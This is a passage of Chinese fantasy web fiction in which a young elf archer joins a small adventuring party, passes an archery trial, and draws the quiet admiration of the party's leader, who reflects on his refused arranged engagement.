《区区精灵【西幻】》 1. 初遇 在无保底池抽出 SSR 早春的阳光熹微,露水打湿草叶。在小镇不远处的山坡上,一个身穿斗篷的身影轻盈从树枝上地跃下。 外披朴素的面料上还带着淡淡风尘的气息,兜帽遮盖住了大半面容,但依旧能看出那人动作的利落。 皮靴踏上草地,不远处的前方,城镇正迎来它的熙熙攘攘。 那身影独自矗立着眺望,似在思索。直到一阵清风吹过,有张纸从他的上方缓缓飘来。 霎时间,一抹微光从他身后木弓中闪过,像一只无形的手轻轻拿起纸张,稳稳地送到身影面前。 身影伸手自然地接过,他低下头,看着手上边缘泛黄、已经粘上些许灰土的纸张,没有松开,视线首先落在角落上笨拙的笑脸上。 身影歪了歪头,随后目光慢慢向上移动。 最后,他缓缓念出了那五个字: “曙光……冒险团?” 清晨的人声嘈杂,人来人往的招募厅内,蓝发粉眸的善魔正懒洋洋地撑着下巴。 她精致的小角在发丝中时隐时现。单边蓝色的发辫落在锁骨,长长的尾巴缠在小腿上,尾尖时不时轻轻摇晃,显得有些心不在焉。 事实上,梅茜也正百无聊赖地坐在椅子上。时不时有人经过她身边,也有人在一旁忍不住窃窃私语,但终究无一人上前。 她懒洋洋地打了个优雅的哈欠,强撑着越来越沉重的眼皮。 梅茜所坐的椅子前面立着一块告示牌,上面写着:“曙光冒险团招募队员,要求擅长弓术,身体健康,能力优秀者优先,薪酬可议。” 木板打磨得很光滑,字迹也相当清晰工整,可惜依旧无人问津。 说实话,连续三天三夜高强度地进行招募,梅茜现在已经相当困倦了,这比期末周熬夜翻魔法书还要消耗体力,她总感觉自己的尾巴都要绕不住了。 真是的,现在弓手本就难找,艾伯特还要求那么高,好的弓手要么一开始被预定,要么被大家族瓜分完了。 梅茜伸了个懒腰,瘫在椅子上叹了口气。 与其分头行动,不如再低低头向家族求一个嘛。 虽然家里本来就对她这位学弟青春期的叛逆颇有微词,只是架不住这位次子的坚持,又不愿意完全撕破脸,即使愿意伸以援手,也肯定不会给什么百步穿杨的神射。 但是怎么样都最起码聊胜于无吧?总比现在两手空空这样强上一些。 梅茜已经记不清自己在这里坐着多久了,反正她也没见有谁上前,艾伯特的壮举在王都里都不是秘密,加上前两回挑三拣四把人赶走,就导致现在就连凑热闹的都没有。 虽然说赶走的也不算什么好人:一个明显只图钱,报价高于市场价好几倍;另一个只是三角猫功夫,连树边站的麻雀都射不下来。 梅茜闭着眼扔个石头都比他准头强,可是有些时候,人也不能要求太多。 再过两三天这一期冒险团的报名就要截止了,没有合格的弓手通过协会的考核,到时候大家都得老老实实打道回府。 “不如直接向真神祈祷来个精灵什么的。”视觉涣散中,梅茜迷迷糊糊地想着,不小心把自己逗笑了。 这是自嘲。精灵本就极少出世,就是有,肯来他们这个小冒险团吗? 搞笑。它在不少人眼中就是个笑话呢。不少人说,这个冒险团只是一个富家少爷叛逆期跑来玩游戏的产物。 别人这么想,梅茜一点都不奇怪。 如果她之前不认识艾伯特,她估计十有八九也会这么觉得。 也是,团长是个刚毕业不久的公子哥,不继承家业不联姻嘴皮子一碰就想当勇者拯救世界,加上一个不谙世事的大小姐,一个一时兴起的善魔,额外一个拿钱办事还不正经的所谓保镖,梅茜自己有时候都觉得好笑。 其实各回各家也没什么不好,她继续回塔里研究她的魔法,就当是一场临时取消的调研;诺曼可就惨了,他收了钱,真解散的话,那笔丰厚的尾款他一分也拿不到。 那个小姑娘?梅茜可不觉得她真的热爱冒险,还是不服气更多吧。对那位小姐来说,解散了也就解散了。艾伯特走不了也许正合妮娜心意。 但是艾伯特的话,梅茜打了个哈欠。两人的接触其实不是特别密切,不过据她所知,这个学弟,要比看起来的要倔强多了。 要是真的不行的话,艾伯特估计自己一个人也会出发的吧。 真不知道该说是一腔孤勇,颇具英雄风范,还是说,初生牛犊,不知道天高地厚…… 不自量力。 不过,长这么帅,死了也挺可惜的。 一个人冒险还是太容易出逝了,所以为了学弟的生命安全着想,梅茜还是决定不转身回沃德家在这座小镇的临时宅邸睡午觉了。 啊,果然,她这种善魔就是天生如此善良。分不清善魔和那些恶心的人形魔物的人,就该送给矮人们修修脑子。 算了,反正她习惯了。 再说,矮人们的时间也是很宝贵的,修理废物不是他们的工作。 梅茜在胡思乱想的百忙之中又打了个哈欠。说实话,冒险团已经招募好几天了,大家基本都是东奔西跑,只有妮娜还有闲心考虑今天梳什么发型,睡到日上三竿才起。 梅茜之所以坐在这里,还是因为艾伯特和诺曼体谅她太累,才让她在这坐着招募,实际上和碰运气没什么两样。 周围好像有些许骚动,梅茜懒得理会,懒懒拨弄着自己的指甲。她这几天既要收拾行李,又要研究,又要四处找弓手,根本没睡几小时。 就算魔族身体强韧,也不是能这么糟蹋的,精神上也不好受。 说真的,事到如今,他们谁都没抱什么希望。 之所以艾伯特这么执着,还是因为一个弓手对冒险帮助太大。而梅茜的远程术法并不算顶尖。 冒险团需要一个远程侦察和输出能力优秀的人来充当斥候,这一点不可或缺。 这就又更显得弓手对他们的重要了。 可惜找不到。 梅茜正低着头发呆,却忽然觉得眼前一暗。 一片阴影不知何时从她的头顶上方笼罩下来。 随着那人的靠近,淡而清冽的气息轻拂过她的脸颊,梅茜已经模糊的精神,忽然开始不由自主地清醒。 但她还没来得及反应过来到底是发生了什么,就先听见了那人的声音。 是一个少年,似乎有些不太熟练大陆的语言,发音有些别扭,但音色非常好听,清晰明了。 他说:“你们,需要弓手,是吗?” 一张纸被递了过来,是曙光冒险团的招募广告,羊皮纸边泛着黄色,上面还画着当时艾伯特硬是要加上去的笑脸。 拿着纸的手指骨节分明且修长,算不上柔嫩,但看起来格外具有吸引力。白皙的皮肤透明得几乎能看到血管,而指腹似有薄茧,甲片透着健康的粉红色。 就在少年向梅茜走来并询问的一两句的短暂时间中,已经有 人注意到了他们,议论声此起彼伏,私语声不断,且有愈演愈烈的趋势。 而少年置若罔闻,仍然自顾自保持着这个姿势不变,他说: “我的名字,阿方索。我可以,帮助你们。” 梅茜缓缓抬起头,却在第一眼就愣住了。 是一个精灵。 一个有着浅金发色、翡绿眼眸的精灵。 梅茜从没有见过浅金发色的精灵,也没有听说过有这种发色的精灵存在。 她早在很早以前就想过了解这个神秘的种族,甚至为此翻阅过诸多典籍和资料,最终得到的信息却仍然寥寥。 此世的精灵分为两种,木精灵与水精灵。 两族相畔而居,平日里互不打扰,各自很少往来。但在危机时,两族一定会鼎力相助彼此。 两族同为精灵,但相差甚远:木精灵多为棕发黑发,眼睛为绿色或者褐色;水精灵多为银白色头发或蓝发,同样也往往拥有如湖水或月光般的眼睛。 他们分而为母树的枝叶与源泉,生活区域的不同让他们在能力上也走向了不同的分枝。 木精灵擅长弓术与植物魔法,而水精灵擅长水系魔法,包括而不限于拟态和治愈。 精灵在书本里是触不可及般的存在,虽然实际情况也差不多,但其实在近几十年已经并不是完全销声匿迹的状态。 已经有部分精灵离开了祖地,来到城市生活。这些精灵凭借着自身强大的能力与美貌,一经出现,很快便成为上流社会趋之若鹜的存在。 甚至就连王室,也为有精灵作为座上宾而感到自豪。 梅茜见到过精灵的次数屈指可数,多半是学校的讲座,入场券的获得相当困难。 但每一次她都会不惜一切代价,在别人看来有些疯狂,但梅茜知道,那值得。 至少在她看来,精灵的头脑和他们的外貌一样,都是应该放进帝国最高博物馆的珍宝。 而现在,她的面前站着那些珍宝的同类之一。 精灵少年的长发束在身后,背着一把木弓,胸前水滴状的宝石简单用细绳绕起挂在胸前,头上也用细绳将羽饰简单绑在头上。 衣服并不花哨,颜色简单,面料质朴,方便行动。少年围了件灰色的披风,兜帽没摘下。皮肤很白,手指纤长,左边的长耳上缀着两个精致的金环,很明显地出卖了他非人的身份。 还有他的脸。 漂亮,太漂亮了。 语言变得贫瘠,梅茜第一次不知用什么词语来形容。 她一百多岁了,在善魔中还算年轻,但她早年四处游历,也去过了各种各样的地方,见过形形色色的人,还有美人。 那些来自各个阶层的男男女女,拥有着不同的种族和身份,各种各样的风格与外貌,她见过的不说一千,也有八百。 就连传说中国家第一美人的希莲公主,她也曾有过一面之缘,也曾为对方的美貌惊叹,却从未有过今天这样的情况。 却从来没有见过,这样的,这样的一个…… 精灵。 梅茜该相信吗? 就凭眼前这个少年,背着一把没有任何装饰的弓,穿着一身旧斗篷。 有一双长长的耳朵和一张过于精致的脸? 她可从来没有听说过精灵中曾经有金发的存在。 但…… 怎么说。 总感觉,有点太好看了。 运气,真的会有这么好的……吗? 2. 相见 “那个?”精灵疑惑。 “那个?……当然!你现在有空吗?”梅茜 反应过来,狂喜充盈内心。 算了,管他真的假的,就这张脸,哪怕是易容术做的,那他们也不亏了。 梅茜咬咬牙。那可是精灵唉!精灵的弓术在整个大陆都是有名的。 更别说配套的那一堆逆天的魔法亲和与自然掌控,就光说精灵通用的治疗术,都简直是居家旅行、冒险打怪的必备好物。 面前这个人哪怕会一点他们都赚翻了好吗? 再说了,就算什么都不会,就是看着这张脸,摆在那里当个吉祥物,也实在是有利于身心健康。 “有。”精灵点点头。 “那太好了!麻烦你过来……不,请等一下。”梅茜掏出传音石,向其余三人报告消息。 传音石闪了一下,很快就接通了,另一端传来了少年清朗的声音,隐约带着几分疲惫。 “怎么了,梅茜?我们这边还在找,你要是累了,就先……” “没时间解释了!”梅茜跺脚,“回宅邸,我找到人了!” “唉……?” 没等到对面回答,梅茜就熄灭了魔法石。 随即她一把抓住身旁精灵,另一只手握住魔杖,嘴里念动咒语,迅速唤起了法阵,将两人传送到沃德府临时宅邸内的花园中。 开玩笑,先抓着跑了再说,万一被别人 捷足先登了,她上哪再找个这样的好事来啊! 精灵被她的热情看得一愣一愣的。他被一把握住手腕拉进法阵时,还没有完全反应过来,神情带着几分懵懂。 灰色的斗篷扬起优美的弧度,发丝被魔法阵的光芒映照得熠熠生辉。 但这依旧没法掩盖他是被扯进去的事实。 随后就是一阵天旋地转。 精灵很想和这位善魔说不用急,他本来就是出来历练的,并不会离开。 但是她明显很急。 那就急吧。 法阵的余光还未消失,原本人来人往的公会大厅顿时变换为一座安静的宅邸中的花园。 喧嚣迅速退去,取而代之的是树林葱郁,小桥流水。 传送成功的那一刻,精灵下意识地扶住了一边的树干,他站稳身体,低下头缓了一会。 梅茜松开手,难得有些慌张,不敢碰他,不住地道歉。 确实,这样突然的传送,没有一点心理准备,换成普通人早就吐个天昏地暗了。 但即使是如此突然的传送,少年也并未如同之前的人一样脸色苍白。他只是微微抿唇,轻轻喘了一下气。 精灵摆了摆手,闭了闭碧水般的眼睛,不一会就直起身子。 他抬起头,看了看四周,问:“这是哪?” 梅茜整理了一下发丝,恢复了优雅的姿态。她转过头回答:“算是我们冒险团的临时落脚处,不过其实也是我们团长家的财产。一会他和我们另两个成员一起回来,会问你一些问题。” “回答了,就能加入吗?”精灵看向她。 梅茜想说那当然啊,但是话到嘴边转了个弯。 她说:“差不多。不过最终的决定权还是要看团长。” 随后,梅茜微微一笑。 “我的名字是梅茜·帕克,种族嘛,很明显,是善魔。”她对身旁的少年说,“和我一起去那边的亭子坐坐怎么样?那里有茶点,可以供我们等待片刻。” 精灵点了点头,跟着她的身影,两人一前一后,走到一旁的亭子里。 亭子离这里不远,片刻即到。梅茜引阿方索坐下,两人相对安坐下来。 身体得到了喘息,梅茜的心情渐渐平静,她的大脑终于开始正常运转。 这个孩子……不。她借着倒茶的动作,偷偷看了眼阿方索。 这个精灵看起来非常年轻,可对精灵来说,永葆青春不是难事。这个种族即使到寿命的终末,除非魔力彻底枯竭,都很少会显出老态。 而精灵的平均寿命是5348岁,这个数值还是低估,因为很少有精灵的寿命会被外传,他们入世的数量近些年才变多。 绿眼睛,是木精灵吗?可是淡金发色,她从来没有在任何记载之中见过。 精灵在人间现过身、留下记录的,不过八九位而已。 其中最年轻的也2800多岁了……而且以精灵那样的样貌和性格,也不像大街上捡传单就会来参加冒险团的那种啊。 梅茜看着眼前神色平淡的阿方索,阳光透过亭子上的藤蔓洒下光斑,落在那金色的发丝上,艺术得如同幅油画。 他安静地接过她递过来的茶杯,饮茶的姿势优美而自然。 梅茜垂下眼眸,思绪翻涌。 假冒精灵虽然极易被认出,但是也不是谁都回回能碰上真精灵,万一有人抱着侥幸心理,赌不会被发现的可能性呢? 现有世间的且愿意见人的精灵,其实也就固定的三四个而已。 除去大多在学院里,其余的或加入势力,有着单独自己的研究很少出面,或四处游历难觅行踪了。 算了,梅茜咬咬牙,来都来了,管他真的假的,反正不亏。 想到这里,她再次露出笑容,语气随意地和这位精灵介绍团里的人物,阿方索认真听着,时不时点点头。 两人正闲谈着,忽然一阵脚步声传来。 梅茜望去,说:“啊,他们来了。” 阿方索摸着茶杯,也朝那望去。 未见其人,先闻其声。身影还没有完全清晰,就听见磁性的男声传来:“梅茜,我们来了。” 是一个高大的黄发男子,黑色的眼睛发亮,他留着明显精心修剪过的胡子,头发在脑后扎成一个小辫儿。 他身前是身量较矮一些的绿发少年,耳垂上有一对红色的耳钉;身后跟着一位棕发少女,垂到背后的发丝一半被柔软的发带束起。 “黄发的是诺曼·克里利,棕发的是妮娜·肯特小姐。那位绿色的是团长,团长叫艾伯特·沃特,你还记得吧?叫名字就好。”梅茜小声说。 精灵瞥了一眼,又转向梅茜点点头。 艾伯特站在梅茜对面,看着面前几步远的灰色身影,问:“那个,请问是您要加入我们吗?” 他看见对面点了点头,随后,那人的手离开了茶杯,顿了下,摘开了兜帽,露出淡金色的长发和长耳。 看清面容的那一瞬间,三人不约而同地呼吸一滞,艾伯特垂在身侧的手不自觉蜷了一下。 几人都是学院出身,多少都听过精灵的讲座,可是如此近距离的接触,还都是头一回。 “唉,小姐您好……”诺曼的脸上洋溢起了微笑,热情地说。 “我,不是,小姐。”对面的精灵淡淡地回应,“我是,男性。” “啊……真对不起。”诺曼的笑容一僵,他的视线向下瞟,这才看到了那过于平坦的胸膛。 完了,嘴快了。 “抱歉……”艾伯特有些歉意地说,“那个,我叫艾伯特·沃特,是曙光冒险团的团长——” 精灵摇了摇头,以示没有介意,他站起身,说:“我知道。” 艾伯特愣了一下。 “传单上,有。”阿方索顿了顿,“她刚才,都说过。” 梅茜微笑着歪歪头,深藏功与名。 艾伯特不知道是庆幸还是失望,用不到自我介绍了。 但那位精灵明显没有注意到这位团长的小心思,艾伯特不说话了,他就开口继续了。 “我叫阿方索,擅长弓术。”阿方索微微抬头,正式地看向他们。 “真的,是精灵……?”妮娜喃喃,她下意识摩挲起胸前的发带。 她从来没想过会在这里遇见精灵。 精灵的目光看向她,点了点头。 “是的,”阿方索说,“我是精灵。” 诺曼失神了一瞬,随后轻笑了一下。 也是,这么美丽的生灵,只有精灵一族才生得出吧,老天真不公平。 艾伯特看见阿方索的时候,只听见了自己的心跳声。 他之前也曾见过精灵,按理说并不该多么惊讶。若说是因为阿方索的容貌,倒也不是说不通。 不过,更准确地说,阿方索就像他曾经幻想的一个身影,用他能想到的最美好的东西拼凑而成。 他其实从未期望这个幻想能成真,实际上,那个幻想并没有固实的形状。 只是从见到阿方索的那一刻起,艾伯特 忽然感觉幻想的一切有了实体。 当精灵目光转向他时,艾伯特堪堪回神,他强压着心跳,压制住紧张说:“抱歉,刚才失礼了,我和同伴从未见过像您这样的——精……灵!?” 最后的发音有些扭曲。那两个字从口中说出,艾伯特的理智才堪堪占领高地。 等等,精灵? 以弓术和敏捷在大陆闻名的精灵!?来应聘他的冒险团的弓手? “我想,我符合要求。”精灵淡淡地说。“所以,我来。” 所有人都没有说话,场面安静下来。他们互相对视,心里不约而同地有着同一个念头: 精灵,怎么会出现在这里? 这样稀缺的种族,怎么会随随便便出现在一个小镇?退一万步讲,就是出现了,又怎么可能会加入他们这个小冒险团? 可是这人是梅茜带来的,如果真的是那种冒牌货,梅茜怎么可能看不出来? 除非她自己也不确定。 而让梅茜都不确定的,本身就是具有相当强的实力。 而且那张脸摆在那里,怎么看都不会是一般的普通人。 精灵面对周遭的寂静,面容上的神情没有半分改变。他静静地在那里站着,用他那澄澈的眼眸望向沉默的几人。 最终还是诺曼打破了僵局,他干笑了两声,抓了抓后脑的小辫,视线似乎不经意扫过阿方索斗篷下若隐若现的手指,尽可能放松语气地开口。 “您的箭术如何?”诺曼问。 “百发百中。”精灵回答。 说得轻巧。即使是王宫第一斥候,也不敢如此吹嘘吧。 可是他说的如此轻松,让人不由自主地想要相信。 妮娜皱了皱眉头,刚想张口质疑,就被诺曼轻轻按住了肩膀。 “您介意展示一下吗?”诺曼问。 “可以。”精灵回答。 那这就是答应了。 艾伯特的喉咙微动,他暂时忽略脑中翻涌的思绪,心中莫名的悸动,微笑着开口。 “那么,请随我来。”他微微弯下腰,做了个请的手势,“靶场在这边。” 阿方索没有回答,他只是向前一步,走到了艾伯特的身边。 3. 满员 宅邸的靶场意外的广阔,阿方索神情平静,他站在中央,目光一一扫过面前排列的靶子,随后,他将手伸向了身后。 “等等……”妮娜忍不住开口,“你的箭呢?” 要知道,面前的精灵虽然身着猎装,背负长弓,但是别说箭了,他甚至连箭筒都没有。 其实大家都注意到了,但是,这一刻,只有妮娜说了出来。 其实偌大的宅邸,不可能连一支箭都没有。 但是阿方索一路上一直没提,就算其他人心有疑惑,终究也没有主动开口。 直到现在。 阿方索动作未停,他娴熟地将弓握在手中,说:“不需要。” 他不说没有,他说的是:不需要。 那就意味着,他不需要实体的箭矢,也能击碎目标。 众人心中都有猜测,可谁都没有付诸于口,毕竟太不可思议了。 妮娜的眼睛动了动,她抿了下唇,最终还是退后一步。 试炼开始。 精灵修长的手指搭在弓上,他轻轻闭上眼睛。 此刻,唯余风声轻盈地穿越四周,草木微动。 阿方索忽然睁开了眼睛,一瞬间,绿色的微光在他的指尖迅速凝聚,生长出藤蔓般缠绕却坚韧无比的箭矢。 箭矢穿破虚空,如同拥有生命力一般,自动锁定了主人所指向的目标。 眼神还未反应过来,碎裂的声音先一步传到耳朵里。 目睹眼前这一幕,梅茜轻轻倒吸了一口气。 赚大了。 精灵的弓术岂止是符合要求。 “学院的导师也没有这么厉害的啊……”诺曼呢喃。 妮娜没有回应,她垂下眼眸,手指无意识纠缠在一起。 艾伯特站在原地,一言未发,他只是一直看着那个人,目光从未移开。 是啊,如果真的是精灵的话…… 且不提那些一些学艺深刻的、受到他们称之为“精灵母树”的大树眷顾的精灵。听说甚至能以元素不同,拥有不同领域各式各样的法术。 单单是无论木、水精灵都能掌控的治愈术,就足以帮上大忙了。 而阿方索明显是受到眷顾的其中之一。 那就更有意思了。 与平常法师不同,精灵的力量不仅取之天地,还取之母树,所以格外强悍,接近于不竭。 那是真正被自然所赐予的力量。 以草木,以水滴。 生长,拟形。 只是呼吸片刻,精灵已连发数箭,由近至远,无一落空。 转瞬之间,靶子俱已被洞穿裂开,阿方索收起木弓,向他们走来。 众人的目光不约而同地聚集在他身上,而阿方索似乎并不在意自己表现出的惊人的力量。 他只是整理了一下衣领,轻轻擦过胸口的吊坠,随后开口。 “可以吗?”精灵问。 “当然可以。”艾伯特迅速上前一步,他伸出了手。“您通过了,欢迎加入我们。你的名字是,阿方索?” “是的,阿方索。”精灵也伸出了手,与他相握。 很柔软,松开时,艾伯特想。 阿方索与每个人都握了手,梅茜笑着伸手,诺曼咧着嘴拍了拍阿方索的肩膀,精灵没有躲开,反而认真地也拍了拍诺曼的肩。 妮娜拿出手帕,允许对方隔着手帕触碰她的指尖。 诺曼看见她的动作,挑了挑眉,但是没说什么。 “您目前有住处吗?如果不介意的话,可以在这里稍微歇息一下,我们也好安排商量行程。”艾伯特看着他,笑容有些腼腆,“ “我没有住处。”阿方索说,“只有它。”他头向身后的弓歪了下。 “那我们带您去客房。”艾伯特眼睛微微一亮,笑容更加可掬,“您先休息,明天一早,还需要您去参加一下公会的测试,才能正式加入我们冒险团。” 阿方索点了点头,跟上了他的步伐。 在去客房的路上,各人在路上对彼此作了更详尽的介绍。 “虽然您已经知道了,但我还是想再介绍一下,我的名字是艾伯特·沃德,”艾伯特用余光偷瞄着身旁的精灵,斟酌着开口,“我在王都学院刚刚毕业,比较擅长剑术,诺曼主要负责后勤,妮娜是药剂师,梅茜在魔法方面很有造诣,也见多识广,是我们的向导。” 梅茜摆摆手,说:“算不上很有。” “太谦虚了。”诺曼笑嘻嘻地接话:“我没什么大背景,就是做点小生意,平时接点私活混口饭吃。” “我和梅茜其实都在王都学院那边待过,算是这两位少爷小姐的学长学姐。”诺曼挑挑眉,“不过我和梅茜也算是老相识了,我们俩之前就碰过面。” “只是做过几次交易而已。”梅茜补充道。“不过,无论是货物,还是合作,他质量确实还可以。” 诺曼骄傲地点了点头,忽然,旁边传来一声轻咳,是妮娜。 “对了,该轮到我们的大小姐自我介绍了。”诺曼配合地侧过一步,让出身前的位置。 “我来自肯特家族,是第三女,在学院里主要研究药剂方面。”妮娜轻轻抬起下颌,把发丝撩到耳后,“我和艾伯特自小相识,也是他的未婚妻。” “没有未婚妻这回事好吧,”艾伯特开始还很正常,听到后面那句话,他单手叉腰,眉头拧起,立即反驳道,“我从一开始就拒绝了。” “早晚会是的。” “早晚都不会是的。” 两人开始拌嘴,精灵眨了眨眼,似乎有些好奇地看着他们,诺曼在旁边笑眯眯地一言不发。 艾伯特有些着急,咬牙转向他,“诺曼,你什么都知道,不能帮忙解释一下吗?” “那没办法。你们从小认识是假的,还是有过婚约是假的?”诺曼耸了耸肩,装作无奈地摊手,“而且,谁叫肯特小姐才是我的金主大人呢。” 艾伯特无语凝噎,欲言又止。他下意识看向阿方索,却刚好撞上精灵的视线。 那双眼睛澄澈无尘,没有戏弄,也没有奇怪,只是单纯地在看着他。 艾伯特的耳根瞬间红得更厉害了,他有些嗫嚅,刚整理好情绪想说些什么,却被另一道声音抢先一步。 梅茜原本懒洋洋地跟在后面,此刻却忽然开口问道:“你们精灵族淡金发色的是有特殊含义吗?你看起来是木精灵吧?为什么是淡金发色?一般不都是绿色或棕色吗?” 原本热烈的气氛似乎按下了暂停键,艾伯特把话咽了回去。他轻轻皱眉,不太理解梅茜为什么要突然问这个。 其他人也停下了谈话,环境安静得有些突兀。 不过,这份寂静很快就被打破了。 “染的。”阿方索淡定地说。 ? 梅茜怎么也没想到得到的是这样的一个回答,荒谬至极,也可笑至极。 但是面前这个人看起来好认真。 “精灵……也会染发吗?”艾伯特忍不住问。 “嗯。有人带进来的,喜欢。”阿方索仍脸淡定。 有点扯,可他长得这么好看。 几人沉默了一会,诺曼挤出一个笑容, 讪讪道:“那你们,还挺时尚的。” 阿方索点点头,话题就此揭过。 梅茜心里仍有疑惑,但她 决定不再贸然追问,免得太过难堪。 毕竟阿方索无论如何,都证明了他的实力,把人真的逼走了,百害而无一利。 “你们精灵可以活很久吧?”妮娜看着阿方索精致的侧脸,犹豫了一下,还是忍不住开口,“你们怎么能一直这么年轻的?怎么能这么……” 漂亮。 “天生。”阿方索说,“精灵一直就这样。树也是。” 好吧,果然问了也白问。 不过…… “树?”妮娜问。 “说的是精灵母树吧?”诺曼回答。 阿方索点点头。 诺曼看他表情正常,又凑过去追问:“那个,其实我一直想问,阿方索,你活多久了啊?” 其实他刚才看见精灵射箭时就很好奇了,那样的弓术,绝非一时之功。 精灵可是最长寿的种族之一,虽然面前的少年看起来脸嫩生生的,但说不定其实比他们加起来翻个番还要大。 不知不觉间,已经到客房门前,几人站定。 阿方索垂下头,似在思索。 “活太久了,不记得也很正常。”梅茜看着他说。 她说这句话不仅是为了解围,也是阐述一个事实。对许多长生种而言,年龄都只是一个数字,就像人不会记得今天呼吸了多少次。 梅茜的种族虽然寿命也算悠久,但是和精灵比起来还是相差甚多,但她多少能理解那种感觉。 “不。”阿方索抬起头,“不太久。” 他顿了顿,嘴里慢慢吐出两个字。 “十八。” “十八?”梅茜的尾巴微微一僵。 旁人也都一副惊讶的样子,诺曼的面容有一瞬间的呆滞。 怎么都没想到竟然是两位数啊!这在精灵里该是幼苗中的幼苗吧?!为什么会出现在这里,还这么强?? 艾伯特猛地转头,他看着阿方索平静的脸,忽然意识到这个他一直以为比自己年长的精灵,其实要比他还小两岁。 妮娜也不可置信,微微瞪大了眼睛。她比艾伯特小一岁,以为自己就是冒险团里最小的。 没想到现在另有其人了。 阿方索倒是很坦然,他平静地解释说:“从我的枝叶开始伸长,十八年。” 片刻后,梅茜找回了声音,她问:“我曾经在书中读到过,每位精灵自出生起,就会有一棵专属于他的树生长,你是指这个,是吗?” “是的。我们终将也会回到那里。”阿方索纠正,“不过,每个精灵的不一定是树,也可是花,是草,是他们喜欢的东西。” “是这样吗?”梅茜问。 “是的。”精灵点点头,“枝叶,只是,说法。” “那你的是?” “不知道。只有,回归,才知道。”阿方索摇了摇头,“其实,我比较喜欢木头。是树,最好。” 取钥匙的仆人回来了,艾伯特接过,将钥匙递给阿方索时,恰巧听到这句话,手不小心抖了一下。 阿方索从他的手心中接过钥匙,妥帖地放进自己的口袋里。 “不过,不可以偏心。”阿方索认真地回答。 “你好像,对大陆语不太熟悉?”诺曼问。 阿方索的耳朵有点红,他轻轻笑了下,似乎有点羞涩。 “我正在熟练。”他说:“我第一次离开。” “为什么离开?”妮娜问,“哪里不好吗?” “没变。”阿方索回答:“只是,我想出来。” “只是……因为这个吗?”艾伯特问。 “嗯。”精灵回答,“出去看看比较好。我觉得,树也觉得。” 4. 辗转 那天晚上,艾伯特几乎一夜未眠。 他躺在床上,辗转反侧,一颗心砰砰直跳。 他没有带睡帽。此刻,藻绿色的长发散落在床单上上,一双紫色的眼眸半合,红色的耳钉在散乱的发丝中若隐若现。 耳边短发的部分蹭得他有些痒,艾伯特随手拾起身边的头发,举到眼前,在指尖缠绕几圈,拨弄了两下。 他的头发呈水母状,上短下长,最长的地方垂至腰部,这种发型在王都中的贵族男性中不算常见,但也不格外显眼。 艾伯特留这个发型的原因很简单。 他觉得好看。 而且打理算不上特别麻烦,平时不用的时候扎起来也方便。 反正长发也不耽误他在剑术测试时获得第一。 艾伯特忽然笑了,但声音接近于叹息,空荡的房间无人回应。 他也不需要回应。 其实他心情真的很好,非常好。 艾伯特想起今天遇见的那个精灵少年,现在他可以确凿地称呼他为少年了。 寻寻觅觅那么多天的弓手终于有了着落,实力还如此强悍,根本不可能通不过公会的考核,冒险团总算成了板上钉钉的事。 那个人还那么好看。 按理来说,艾伯特终于该去享受这几天以来梦寐以求的休息。 但是呢……他完全不觉得累,所以更加睡不着。 在阿方索歇息之前,艾伯特试探性地问了关于酬劳方面的事。 “那个,我想问一下,酬劳方面,您有什么想法吗?”艾伯特试探性开口,小心问道。 精灵当时顿了一下,随后看向他。 “你,决定,就好。”阿方索说。 艾伯特当时愣了一下,然后有些结巴地说了一下队里目前的规矩——平时委托的酬劳平分,冒险中获得的物品,根据个人需求和贡献商议分配。 他都担心自己说的有些过于简单,但精灵没说什么,点点头,就同意了。 艾伯特后来才意识到,自己让一个刚离开祖地不久,年龄就算在人类里也才刚刚成年的少年来开价,似乎有些不近人情。 但艾伯特真的没有想到那么多,他只是想向那个人表示尊重,想给那个人最好的待遇。 以阿方索的能力,无论去那里都会大受欢迎的吧。 既然他选择了曙光冒险团,那么,艾伯特觉得,他们也要表现出相对的能力。 至少,不可以让那个人丢脸吧。 艾伯特不想让任何人失望,可惜,现实往往都是事与愿违。 事实上,艾伯特得知自己被定下婚约的时候,并不知道自己的婚约对象具体是谁,就更别提想到妮娜。 但对他来说,这并无意义。因为无论当时契约对面站着的另一方是谁,他的选择都不会改变。 艾伯特自此之前,从未喜欢上任何一位女性……或者男性。 今天这个不算。 而之前的那一部分,当然也包括妮娜。 他最开始,其实并不明白妮娜为什么这么执着要履行婚约。 艾伯特对妮娜的认知在小时候只是经常会出现在自家客厅和花园的邻居,肯特家的那位三小姐。 长大一点,变成碰面时会打上招呼的熟人,在学院时才渐渐成为说的上两句话的朋友。 而且妮娜来沃德家做客的时候,也往往是和艾伯特的姐妹一起。 艾伯特甚至不知道她们会聊什么,喜欢什么,也从来没有参加过她们的茶会。 艾伯特明白家族的想法,作为沃德家族的次子,他有义务为家族的荣誉做出贡献。 艾伯特知道,他也愿意为家族埋头苦练、处理事务,甚至未来流血牺牲。 但是他不能为了家族和一个他不爱的人组建家庭,那不仅会让他痛苦,也会给更多人带来一生不可磨灭的伤痛。 他当然知道有人可以这样做,但是艾伯特不能、也不愿意这么做。 于是,他第一次和家里爆发了争吵,艾伯特闹得很厉害,整个王都都知道沃德家的次子违抗家族。 到了最后,家里做出了妥协:婚约暂时搁置,艾伯特离开家族,独自建立冒险团。 三年后,如果艾伯特能证明自己有能力做出比联姻更大的贡献于家族,婚约就就此取消。 艾伯特对这个结果并不完全满意,但是他最终接受了,他知道,这是家族的最后让步。 而他自己……说到底也无法完全狠心离开。 锦衣玉食对艾伯特来说诱惑不大,以他自己的能力谋一份差事也足够生活得衣食无忧,可是他没有办法忘记那些与家人相处的时光。 ……父亲的教导,母亲的怀抱,与哥哥姐姐一同玩闹学习的日子仍然历历在目。虽然家里嘴上说不会给予任何帮助,但现在落脚的宅邸,其实也是沃德家族的产业。 艾伯特能以这个价格短租到这套房子,家里必定有人运作。 艾伯特也知道。 是他的心让他无法顺从,也是他的心让他无法舍弃。 于是他准备踏上旅程,尽管心里仍有迷茫。 但无论前方如何,此刻,他不想回头。 艾伯特仅剩下不明白的,只有一件事。 为什么按理来说对自己同样不了解的妮娜为非要留在冒险团里,还只是为了缠着他。 他觉得这样很奇怪,妮娜在他的印象里,是一个比较骄傲的女生,无论何时都微微昂着头。 两人之间更是什么也没有,艾伯特不明白为什么妮娜会忽然变得对自己执念那么深。 如果是因为伤了妮娜的自尊和名声,他很抱歉,但有时候他也真的想不明白怎么才能让她满意。 艾伯特无论是向外人还是妮娜,早就已经解释过无数回,他从来都说的明明白白,完全是自己的原因,和妮娜没有半分关系。 有人信了,有人没信。 妮娜明显没信,或者说,或许她信。 但是她不甘心。 艾伯特无法改变她,但不会给自己无意义的愧疚,妮娜也是受害者,但错也不在他。 